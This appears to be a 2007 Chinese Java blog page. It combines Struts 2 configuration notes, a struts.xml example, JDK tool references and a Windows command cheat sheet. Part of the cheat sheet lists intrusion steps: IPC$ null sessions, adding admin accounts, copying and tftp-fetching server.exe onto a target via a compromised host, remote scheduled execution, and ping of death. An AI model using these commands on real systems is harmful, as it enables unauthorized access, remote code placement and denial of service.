               The com.opensymphony.xwork2.ObjectFactory implementation class
                com.opensymphony.xwork2.ObjectFactory接口(spring)

    struts.objectFactory.spring.autoWire
               Whether Spring should autoWire or not
                是否自动绑定Spring

    struts.objectFactory.spring.useClassCache
               Whether Spring should use its class cache or not
                是否spring应该使用自身的cache

    struts.objectTypeDeterminer
               The com.opensymphony.xwork2.util.ObjectTypeDeterminer implementation class
                 com.opensymphony.xwork2.util.ObjectTypeDeterminer接口

    struts.serve.static.browserCache
              If static content served by the Struts filter should set browser caching header properties or not
                是否struts过滤器中提供的静态内容应该被浏览器缓存在头部属性中

    struts.serve.static
               Whether the Struts filter should serve static content or not
                是否struts过滤器应该提供静态内容

    struts.tag.altSyntax
               Whether to use the alterative syntax for the tags or not
                是否可以用替代的语法替代tags

    struts.ui.templateDir
               The directory containing UI templates
                UI templates的目录夹

    struts.ui.theme
               The default UI template theme
                默认的UI template主题

    struts.url.http.port
               The HTTP port used by Struts URLs
                设置http端口

    struts.url.https.port
               The HTTPS port used by Struts URLs
                设置https端口

    struts.url.includeParams
               The default includeParams method to generate Struts URLs
               在url中产生 默认的includeParams


    struts.velocity.configfile
               The Velocity configuration file path
                velocity配置文件路径

    struts.velocity.contexts
               List of Velocity context names
                velocity的context列表


    struts.velocity.manager.classname
               org.apache.struts2.views.velocity.VelocityManager implementation class
                org.apache.struts2.views.velocity.VelocityManager接口名

    struts.velocity.toolboxlocation
               The location of the Velocity toolbox
               velocity工具盒的位置

    struts.xslt.nocache
               Whether or not XSLT templates should not be cached
                是否XSLT模版应该被缓存

    posted @ 2007-09-23 23:40 jadmin 阅读(68) | 评论 (0)编辑 收藏

    XML代码:

    1. <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"   "http://struts.apache.org/dtds/struts-2.0.dtd">    
    2. <struts>    
    3.   
    4. <include file="struts-default.xml" />    
    5. <!--前几天有人说继承不成功,有贴回复是<package>和<include>顺序问题(<include/>和<package>没先后顺序),关键在于解析是自上而下的,要继承某xml文件,就要先引入该文件-->  
    6. <package name="default" extends="struts-default">  
    7.   
    8. <!--定义默认视图,我定义默认为freemarker-->  
    9. <result-types>    
    10.   <result-type name="freemarker" class="org.apache.struts2.views.freemarker.FreemarkerResult" default="true" />    
    11. </result-types>  
    12.   
    13. <!--如果你仅仅需要页面跳转,就没必要在写一个action了,直接用ActionSupport就行了-->  
    14. <action name="login" class="com.opensymphony.xwork2.ActionSupport">  
    15. <!--默认返回success,我上面定义默认type为freemarker,这里就不用定义type属性了-->  
    16.   <result>/Login.ftl</result>  
    17. </action>    
    18. <action name="userInput" class="pro.action.app.UserRegisterAction">    
    19.   <interceptor-ref name="createSession">    
    20.   <!--经测试,该拦截器没有该参数,设置后会抛异常;该参数主要设置该拦截器作用于那些方法-->  
    21.     <!--<param name="includeMethods">input,back,cancel</param>-->    
    22.   </interceptor-ref>    
    23.   <interceptor-ref name="token">  
    24.     <param name="excludeMethods">input,back,cancel</param>    
    25.   </interceptor-ref>    
    26.   <interceptor-ref name="model-driven" />    
    27.   <interceptor-ref name="validationWorkflowStack">  
    28.     <!--设置不需拦截的方法-->   
    29.     <param name="validation.excludeMethods">input,back,cancel</param>    
    30.     <param name="workflow.excludeMethods">input,back,cancel</param>    
    31.   </interceptor-ref>    
    32.   <result name="invalid.token">/doubleSubmit.html</result>    
    33.   <result name="input">/app/UserRegister.ftl</result>    
    34.   <result name="login">/Login.ftl</result>    
    35.   <result name="success">/Login.ftl</result>    
    36. </action>  
    37. <!--注意你也可以给action设置参数,同样是用<param/>赋值-->  
    38. </package>    
    39. <include file="cfg/struts/struts-filedownload.xml"></include>  
    40. </struts>
    posted @ 2007-09-23 23:27 jadmin 阅读(62) | 评论 (0)编辑 收藏
    net use ipipc$ " " /user:" " 建立IPC空链接
    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: ipc$ 登陆后映射对方C:到本地为H:
    net use ipipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名  开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time 目标ip 查看对方时间
    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
    ------------------------------------------------------------------------------------------------------------
    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
    ================================================================================
    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况
    ================================================================================
    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
    posted @ 2007-09-22 23:31 jadmin 阅读(54) | 评论 (0)编辑 收藏

    详情见:

    http://blog.csdn.net/flynetcn/archive/2007/04/09/1557413.aspx

    posted @ 2007-09-22 23:23 jadmin 阅读(43) | 评论 (0)编辑 收藏

    rmic

    功能说明
      rmic 为远程对象生成 stub 和 skeleton。

    语法
      rmic [ options ] package-qualified-class-name(s)

    补充说明
      rmic 编译器根据编译后的 Java 类(含有远程对象实现)名,为远程对象生成 stub 和 skeleton(远程对象是指实现 java.rmi.Remote 接口的对象)。在 rmic 命令中所给的类必须是经 javac 命令成功编译且是完全包限定的类。

    命令选项
      -classpath[路径] 指定 rmic 用于查询类的路径。如果设置了该选项,它将覆盖缺省值或 CLASSPATH 环境变量。目录用冒号分隔。


      -d[目录] 指定类层次的根目录。此选项可用来指定 stub 和 skeleton 文件的目标目录。


      -depend 使编译器考虑重新编译从其它类引用的类。 一般来说,它只重新编译从源代码引用的遗漏或过期的类。

      -g 允许生成调试表格。调试表格含有行号和局部变量的有关信息,即 Java 调试工具所使用的信息。缺省情况下,只生成行号。

      -J 与 -D 选项联用,它将紧跟其后的选项( -J 与 -D 之间无空格)传给 java 解释器。

      -keepgenerated 为 stub 和 skeleton 文件保留所生成的 .java 源文件,并将这些源文件写到与 .class 文件相同的目录中,如果要指定目录,则使用 -d 选项。

      -nowarn 关闭警告。如果使用该选项,则编译器不输出任何警告信息。

      -show 显示 rmic 编译器的 GUI(图形用户界面)。输入一个或多个包限定类名(以空格分隔),并按回车键或“显示”按钮,创建 stub 和 skeleton。

      -vcompat (缺省值)创建与 JDK 1.1 和 1.2 stub 协议版本都兼容的 stub 和 skeleton。

      -verbose 使编译器和链接器输出关于正在编译哪些类和正在加载哪些类文件的信息。

      -v1.1 创建 JDK 1.1 stub 协议版本的 stub 和 skeleton。

      -v1.2 只创建 JDK 1.2 stub 协议版本的 stub。


    rmid

    功能说明
      rmid 启动激活系统守护进程,以便能够在 Java 虚拟机上注册和激活对象。

    语法
      rmid [-port port] [-log dir]

    补充说明
      rmid 工具启动激活系统守护进程。必须先启动激活系统守护进程,才能向激活系统注册可被激活的对象或在 Java 虚拟机上激活可被激活的对象。

    命令选项
      -C<某些命令行选项> 指定一个选项,在创建每个 rmid 的子守护进程(激活组)时,该选项以命令行参数的形式传给该子守护进程。

      -log[目录] 指定目录的名称,激活系统守护进程在该目录中写入其数据库及相关信息。缺省状态下,将在执行 rmid 命令的目录中创建一个 log 目录。

      -port[端口] 指定 rmid 的注册服务程序所使用的端口。激活系统守护进程将 ActivationSystem 与该注册服务程序中的名称java.rmi.activation.ActivationSystem 捆绑在一起。

      -stop 停止 -port 选项所指定端口上的当前 rmid 调用。若未指定端口,则将停止在端口 1098 上运行的 rmid。

    rmiregistry

    功能说明
      rmiregistry 命令可在当前主机的指定端口上启动远程对象注册服务程序。

    语法
      rmiregistry [port]

    补充说明
       rmiregistry 命令在当前主机的指定 port 上创建并启动远程对象注册服务程序。如果省略 port,则注册服务程序将在 1099 端口上启动。rmiregistry 命令不产生任何输出而且一般在后台运行。远程对象注册服务程序是自举命名服务。主机上的 RMI 服务器将利用它将远程对象绑定到名字上。客户机即可查询远程对象并进行远程方法调用。注册服务程序一般用于定位应用程序需调用其方法的第一个远程对象。该 对象反过来对各应用程序提供相应的支持,用于查找其它对象。

      java.rmi.registry.LocateRegistry 类的方法可用于在某台主机或主机和端口上获取注册服务程序操作。java.rmi.Naming 类的基于 URL 的方法将对注册服务程序进行操作,并可用于查询远程对象、将简单(字符串)名称绑定到远程对象、将新名称重新绑定到远程对象(覆盖旧绑定)、取消远程对象 的绑定以及列出绑定在注册服务程序上的 URL。

    serialver

    功能说明
      serialver 命令返回 serialVersionUID。

    语法
      serialver [ 命令选项 ]

    补充说明
      serialver 以适于复制到演变类的形式返回一个或多个类的 serialVersionUID。不带参数调用时,它输出用法行。

    命令选项
      -show 显示一个简单的用户界面。输入完整的类名并按回车键或“显示”按钮可显示 serialVersionUID。

    jarsigner

    功能说明
      为 Java 归档 (JAR) 文件产生签名,并校验已签名的 JAR 文件的签名。

    语法
      jarsigner [ 命令选项 ] jar-file alias
      jarsigner -verify [ 命令选项 ] jar-file

    补充说明
      jarsigner 工具用于两个目的:
      1:为 Java 归档 (JAR) 文件签名
      2:校验已签名的 JAR 文件的签名和完整性

    命令选项
      -keystore[url] 指定密钥仓库的 URL。缺省值是用户的宿主目录中的 .keystore 文件,它由系统属性“user.home”决定。

      -storetype[storetype] 指定要被实例化的密钥仓库类型。默认的密钥仓库类型是安全属性文件中 "keystore.type" 属性值所指定的那个类型,由 java.security.KeyStore 中的静态方法 getDefaultType 返回。

      -storepass[password] 指定访问密钥仓库所需的口令。这仅在签名(不是校验)JAR 文件时需要。在这种情况下,如果命令行中没有提供 -storepass 选项,用户将被提示输入口令。

      -keypass[password] 指定用于保护密钥仓库项(由命令行中指定的别名标出)的私钥的口令。使用 jarsigner 为 JAR 文件签名时需要该口令。如果命令行中没有提供口令,且所需的口令与密钥仓库的口令不同,则将提示用户输入它。

      -sigfile[file] 指定用于生成 .SF 和 .DSA 文件的基本文件名。

      -signedjar[file] 指定用于已签名的 JAR 文件的名称。

       -verify 如果它出现在命令行中,则指定的 JAR 文件将被校验,而不是签名。如果校验成功,将显示“jar verified”。如果试图校验未签名的 JAR 文件,或校验被不支持的算法(例如未安装 RSA 提供者时使用的 RSA)签名的 JAR 文件,则将有如下显示: "jar is unsigned. (signatures missing or not parsable)" 。

      -certs 如果它与 -verify 和 -verbose 选项一起出现在命令行中,则输出将包括 JAR 文件的每个签名人的证书信息。

      -verbose 如果它出现在命令行中,则代表“verbose”模式,它使 jarsigner 在 JAR 签名或校验过程中输出额外信息。

       -internalsf 过去,JAR 文件被签名时产生的 .DSA(签名块)文件包含一个同时产生的 .SF 文件(签名文件)的完整编码副本。这种做法已被更改。为了减小输出 JAR 文件的整个大小,缺省情况下 .DSA 文件不再包含 .SF 文件的副本。但是如果 -internalsf 出现在命令行中,将采用旧的做法。该选项主要在测试时有用;实际上不应使用它,因为这样将消除有用的优化。

      -sectionsonly 如果它出现在命令行中,则 JAR 文件被签名时生成的 .SF 文件(签名文件)将不包括含有整个清单文件的散列的头。它仅包含 与 JAR 中每个单独的源文件相关的信息和散列。该选项主要在测试时有用;实际上不应使用它,因为这样将消除有用的优化。

      -J [javaoption] 将指定的 javaoption 串直接传递到 Java 解释器。((jarsigner 实际上是解释器的一个 “wrapper”)。该选项不应含有任何空格。它有助于调整执行环境或内存使用。要获得可用的解释器选项的清单,可在命令行键入 java -h 或 java -X。

    keytool

    功能说明
      管理由私钥和认证相关公钥的 X.509 证书链组成的密钥仓库(数据库)。还管理来自可信任实体的证书。

    语法
      keytool [ 命令 ]

    补充说明
      keytool 是个密钥和证书管理工具。它使用户能够管理自己的公钥/私钥对及相关证书,用于(通过数字签名)自我认证(用户向别的用户/服务认证自己)或数据完整性以及认证服务。它还允许用户储存他们的通信对等者的公钥(以证书形式)。

    native2ascii

    功能说明
      将含有本地编码字符(既非 Latin1 又非 Unicode 字符)的文件转换为 Unicode 编码字符的文件。

    语法
      native2ascii [options] [inputfile [outputfile]]

    补充说明
      Java 编译器和其它 Java 工具只能处理含有 Latin-1 和/或 Unicode 编码(udddd 记号)字符的文件。native2ascii 将含有其它字符编码的文件转换成含 Latin-1 和/或 Unicode 编码字符的文件。若省略 outputfile,则使用标准输出设备输出。此外,如果也省略 inputfile,则使用标准输入设备输入。

    命令选项
      -reverse 执行相反的操作:将含 Latin-1 和/或 Unicode 编码字符的文件转换成含本地编码字符的文件。

      -encoding[encoding_name] 指定转换过程使用的编码名称。缺省的编码从系统属性 file.encoding 中得到。

    appletviewer

    功能说明
      Java applet 浏览器。appletviewer 命令可在脱离万维网浏览器环境的情况下运行 applet。

    语法
      appletviewer [ threads flag ] [ 命令选项 ] urls ...

    补充说明
       appletviewer 命令连接到 url 所指向的文档或资源上,并在其自身的窗口中显示文档引用的每个 applet。注意:如果 url 所指向的文档不引用任何带有 OBJECT、EMBED 或 APPLET 标记的 applet,那么 appletviewer 就不做任何事情。

    命令选项
      -debug 在 Java 调试器 jdb 中启动 appletviewer,使您可以调试文档中的 applet。

      -encoding[编码名称] 指定输入 HTML 文件的编码名称。

       -J[javaoption] 将 javaoption 字符串作为单个参数传给运行 appletviewer 的 Java 解释器。参数不能含有空格。由多重参数组成的字符串,其中的每个参数都必须以前缀 -J 开头,该前缀以后将被除去。这在调整编译器的执行环境或内存使用时将很有用。

    extcheck

    功能说明
      extcheck 检测目标 jar 文件与当前安装方式扩展 jar 文件间的版本冲突。

    语法
      extcheck [ -verbose ] targetfile.jar

    补充说明
      extcheck 实用程序检查指定 Jar 文件的标题和版本与 JDK TM 软件中所安装的扩展是否有冲突。在安装某个扩展前,可以用该实用程序查看是否已安装了该扩展的相同版本或更高的版本。

       extcheck 实用程序将 targetfile.jar 文件清单的 specification-title 和 specification-version 头与当前安装在扩展目录下所有 Jar 文件的相对应的头进行比较(缺省扩展目录为 jre/lib/ext)。extcheck 实用程序比较版本号的方式与 java.lang.Package.isCompatibleWith 方法相同。若未检测到冲突,则返回代码为 0。如果扩展目录中任何一个 jar 文件的清单有相同的 specification-title 和相同的或更新的 specification-version 号,则返回非零错误代码。如果 targetfile.jar 的清单中没有 specification-title 或 specification-version 属性,则同样返回非零错误代码。

    命令选项
      -verbose 对扩展目录中的 Jar 文件进行检查时,列出文件。此外,还报告目标 jar 文件的清单属性及所有冲突的 jar 文件。

    jar

    功能说明
      Java归档工具

    语法
      jar [ 命令选项 ] [manifest] destination input-file [input-files]

    补充说明
       jar工具是个java应用程序,可将多个文件合并为单个JAR归档文件。jar是个多用途的存档及压缩工具,它基于ZIP和ZLIB压缩格式。然而, 设计jar的主要目的是便于将java applet或应用程序打包成单个归档文件。将applet或应用程序的组件(.class 文件、图像和声音)合并成单个归档文件时,可以用java代理(如浏览器)在一次HTTP事务处理过程中对它们进行下载,而不是对每个组件都要求一个新连 接。这大大缩短了下载时间。jar还能压缩文件,从而进一步提高了下载速度。此外,它允许applet的作者对文件中的各个项进行签名,因而可认证其来 源。jar工具的语法基本上与tar命令的语法相同。

    命令选项
      -c 在标准输出上创建新归档或空归档。

      -t 在标准输出上列出内容表。

      -x[file] 从标准输入提取所有文件,或只提取指定的文件。如果省略了file,则提取所有文件;否则只提取指定文件。

      -f 第二个参数指定要处理的jar文件。在-c(创建)情形中,第二个参数指的是要创建的jar文件的名称(不是在标准输出上)。在-t(表(或-x(抽取)这两种情形中,第二个参数指定要列出或抽取的jar文件。

      -v 在标准错误输出设备上生成长格式的输出结果。

      -m 包括指定的现有清单文件中的清单信息。用法举例:“jar cmf myManifestFile myJarFile *.class”

      -0 只储存,不进行 ZIP 压缩。

      -M 不创建项目的清单文件。

       -u 通过添加文件或更改清单来更新现有的 JAR 文件。例如:“jar -uf foo.jar foo.class”将文件 foo.class 添加到现有的JAR文件foo.jar中,而“jar umf manifest foo.jar”则用manifest中的信息更新foo.jar的清单。

      -C 在执行 jar 命令期间更改目录。例如:“jar -uf foo.jar -C classes *”将classes目录内的所有文件加到foo.jar中,但不添加类目录本身。

    程序示例
      1:将当前目录下所有CLASS文件打包成新的JAR文件:
      jar cf file.jar *.class

      2:显示一个JAR文件中的文件列表
      jar tf file.jar

      3:将当前目录下的所有文件增加到一个已经存在的JAR文件中
      jar cvf file.jar *

    javadoc

    功能说明
      Java API文档生成器从Java源文件生成API文档HTML页。

    语法
      javadoc [ 命令选项 ] [ 包名 ] [ 源文件名 ] [ @files ]
      其中[ 包名 ]为用空格分隔的一系列包的名字,包名不允许使用通配符,如(*)。[ 源文件名 ]为用空格分隔的一系列的源文件名,源文件名可包括路径和通配符,如(*)。[ @files ]是以任何次序包含包名和源文件的一个或多个文件。

    补充说明
      Javadoc解析Java源文件中的声明和文档注释,并产生相应的HTML页缺省),描述公有类、保护类、内部类、接口、构造函数、方法和域。

       在实现时,Javadoc要求且依赖于java编译器完成其工作。Javadoc调用部分javac编译声明部分,忽略成员实现。它建立类的内容丰富的 内部表示,包括类层次和“使用”关系,然后从中生成HTML。Javadoc还从源代码的文档注释中获得用户提供的文档。

      当Javadoc建立其内部文档结构时,它将加载所有引用的类。由于这一点,Javadoc必须能查找到所有引用的类,包括引导类、扩展类和用户类。

    命令选项
      -overview i>path/filename 指定javadoc应该从path/filename所指定的“源”文件中获取概述文档,并将它放到概述页中(overview- summary.html)。其中path/filename 是相对于-sourcepath的相对路径名。

      -public 只显示公有类及成员。

      -protected 只显示受保护的和公有的类及成员。这是缺省状态。

      -package 只显示包、受保护的和公有的类及成员。

      -private 显示所有类和成员。

      -help 显示联机帮助,它将列出这些javadoc和doclet命令行选项。

       -doclet class 指定启动用于生成文档的docle 的类文件。该doclet定义了输出的内容和格式。如果未使用-doclet选项,则javadoc使用标准doclet生成缺省HTML格式。该类必须 包含start(Root)法。该启动类的路径由 -docletpath选项定义。

      -docletpath classpathlist 指定doclet类文件的路径,该类文件用-doclet选项指定。如果doclet已位于搜索路径中,则没有必要使用该选项。

       -1.1 生成具有用Javadoc 1.1生成的文档的外观和功能的文档。也就是说,页的背景为灰色,用图像做页眉,使用bullet列表而不是表格,具有单层目的目录结构,不包含继承 API,不使?*** TML框架,并且不支持内部类。该选项还自动将索引分割成每个字母一个文件。如果想要这种外观,则该选项比javadoc 1.1优越之处等于修正了一些错误。

      -sourcepath sourcepathlist
      当将包名传递到 javadoc命令中时,指定定位源文件(.java)的搜索路径。注意只有当用 javadoc命令指定包名时才能使用sourcepath选项 -- 它将不会查找传递到javadoc命令中的.java文件。如果省略-sourcepath,则javadoc使用类路径查找源文件。

      -classpath classpathlist 指定javadoc将在其中查找引用类的路径 -- 引用类是指带文档的类加上它们引用的任何类。Javadoc将搜索指定路径的所有子目录。classpathlist可以包括多个路径,彼此用逗号分隔。

      -bootclasspath classpathlist 指定自举类所在路径。它们名义上是Java平台类。这个bootclasspath是Javadoc将用来查找源文件和类文件的搜索路径的一部分。在 classpathlist中用冒号(:)分隔目录。

      -extdirs dirlist 指定扩展类所在的目录。它们是任何使用Java扩展机制的类。这个 extdirs是Javadoc将用来查找源文件和在文件的搜索路径的一部分。在dirlist中用冒号(:)分隔目录。

      -verbose 在javadoc运行时提供更详细的信息。不使用verbose选项时,将显示加载源文件、生成文档(每个源文件一条信息)和排序的信息。verbose选项导致打印额外的信息,指定解析每个java源文件的毫秒数。

      -locale language_country_variant 指定javadoc在生成文档时使用的环境。

      -encoding name 指定源文件编码名,例如EUCJIS/SJIS。如果未指定该选项,则使用平台缺省转换器。

      -J[flag] 将flag直接传递给运行javadoc的运行时系统java。注意在J和flag之间不能有空格。
    标准 Doclet 提供的选项

      -d directory 指定javadoc保存生成的HTML件的目的目录。省略该选项将导致把文件保存到当前目录中。其中directory可以是绝对路径或相对当前工作目录的相对路径。

      -use 对每个带文档类和包包括一个“用法”页。该页描述使用给定类或包的任何 API 的包、类、方法、构造函数和域。对于给定类 C,使用类 C 的任何东西将包括 C 的子类、声明为 C 的域、返回 C 的方法以及具有 C 类型参数的方法和构造函数。

